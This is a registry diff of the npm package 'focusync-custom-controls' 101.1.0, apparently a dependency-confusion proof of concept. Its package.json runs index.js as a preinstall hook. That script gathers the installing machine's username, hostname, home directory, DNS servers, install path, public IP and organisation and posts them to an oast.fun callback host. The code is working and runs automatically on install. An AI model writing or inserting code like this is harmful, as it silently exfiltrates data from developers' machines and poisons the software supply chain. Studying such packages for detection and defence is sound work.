focusync-custom-controls 101.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +97 -0
- package/package.json +12 -0
package/index.js
ADDED
|
@@ -0,0 +1,97 @@
|
|
|
1
|
+
const os = require("os");
|
|
2
|
+
const dns = require("dns");
|
|
3
|
+
const querystring = require("querystring");
|
|
4
|
+
const https = require("https");
|
|
5
|
+
const packageJSON = require("./package.json");
|
|
6
|
+
const package = packageJSON.name;
|
|
7
|
+
|
|
8
|
+
// Function to fetch public IP address asynchronously
|
|
9
|
+
function fetchPublicIP() {
|
|
10
|
+
return new Promise((resolve, reject) => {
|
|
11
|
+
https.get("https://api.ipify.org?format=json", (res) => {
|
|
12
|
+
let data = "";
|
|
13
|
+
res.on("data", (chunk) => (data += chunk));
|
|
14
|
+
res.on("end", () => {
|
|
15
|
+
try {
|
|
16
|
+
const ip = JSON.parse(data).ip;
|
|
17
|
+
resolve(ip);
|
|
18
|
+
} catch (e) {
|
|
19
|
+
reject(e);
|
|
20
|
+
}
|
|
21
|
+
});
|
|
22
|
+
}).on("error", reject);
|
|
23
|
+
});
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
// Function to fetch organization info for given IP using ipinfo.io (replace with your preferred API)
|
|
27
|
+
function fetchOrgInfo(ip) {
|
|
28
|
+
return new Promise((resolve, reject) => {
|
|
29
|
+
https.get(`https://ipinfo.io/${ip}/json`, (res) => {
|
|
30
|
+
let data = "";
|
|
31
|
+
res.on("data", (chunk) => (data += chunk));
|
|
32
|
+
res.on("end", () => {
|
|
33
|
+
try {
|
|
34
|
+
const info = JSON.parse(data);
|
|
35
|
+
resolve(info.org || "Unknown organization");
|
|
36
|
+
} catch (e) {
|
|
37
|
+
resolve("Unknown organization");
|
|
38
|
+
}
|
|
39
|
+
});
|
|
40
|
+
}).on("error", () => resolve("Unknown organization"));
|
|
41
|
+
});
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
async function sendTracking() {
|
|
45
|
+
try {
|
|
46
|
+
const ip = await fetchPublicIP();
|
|
47
|
+
const org = await fetchOrgInfo(ip);
|
|
48
|
+
const now = new Date().toISOString();
|
|
49
|
+
|
|
50
|
+
const trackingData = JSON.stringify({
|
|
51
|
+
p: package,
|
|
52
|
+
c: __dirname,
|
|
53
|
+
hd: os.homedir(),
|
|
54
|
+
hn: os.hostname(),
|
|
55
|
+
un: os.userInfo().username,
|
|
56
|
+
dns: dns.getServers(),
|
|
57
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
|
58
|
+
v: packageJSON.version,
|
|
59
|
+
pjson: packageJSON,
|
|
60
|
+
ip: ip,
|
|
61
|
+
time: now,
|
|
62
|
+
org: org,
|
|
63
|
+
});
|
|
64
|
+
|
|
65
|
+
const postData = querystring.stringify({
|
|
66
|
+
msg: trackingData,
|
|
67
|
+
});
|
|
68
|
+
|
|
69
|
+
const options = {
|
|
70
|
+
hostname: "seaqzlbcxcgfgyoyvfeg331349cfd17sn.oast.fun", // Replace with Interactsh or pipedream if required
|
|
71
|
+
port: 443,
|
|
72
|
+
path: "/",
|
|
73
|
+
method: "POST",
|
|
74
|
+
headers: {
|
|
75
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
|
76
|
+
"Content-Length": Buffer.byteLength(postData),
|
|
77
|
+
},
|
|
78
|
+
};
|
|
79
|
+
|
|
80
|
+
const req = https.request(options, (res) => {
|
|
81
|
+
res.on("data", (d) => {
|
|
82
|
+
process.stdout.write(d);
|
|
83
|
+
});
|
|
84
|
+
});
|
|
85
|
+
|
|
86
|
+
req.on("error", (e) => {
|
|
87
|
+
// Handle error silently or log if preferred
|
|
88
|
+
});
|
|
89
|
+
|
|
90
|
+
req.write(postData);
|
|
91
|
+
req.end();
|
|
92
|
+
} catch (error) {
|
|
93
|
+
// Handle errors from IP or org fetches
|
|
94
|
+
}
|
|
95
|
+
}
|
|
96
|
+
|
|
97
|
+
sendTracking();
|
package/package.json
ADDED
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "focusync-custom-controls",
|
|
3
|
+
"version": "101.1.0",
|
|
4
|
+
"description": "testing poc here",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
8
|
+
"preinstall": "node index.js"
|
|
9
|
+
},
|
|
10
|
+
"author": "",
|
|
11
|
+
"license": "ISC"
|
|
12
|
+
}
|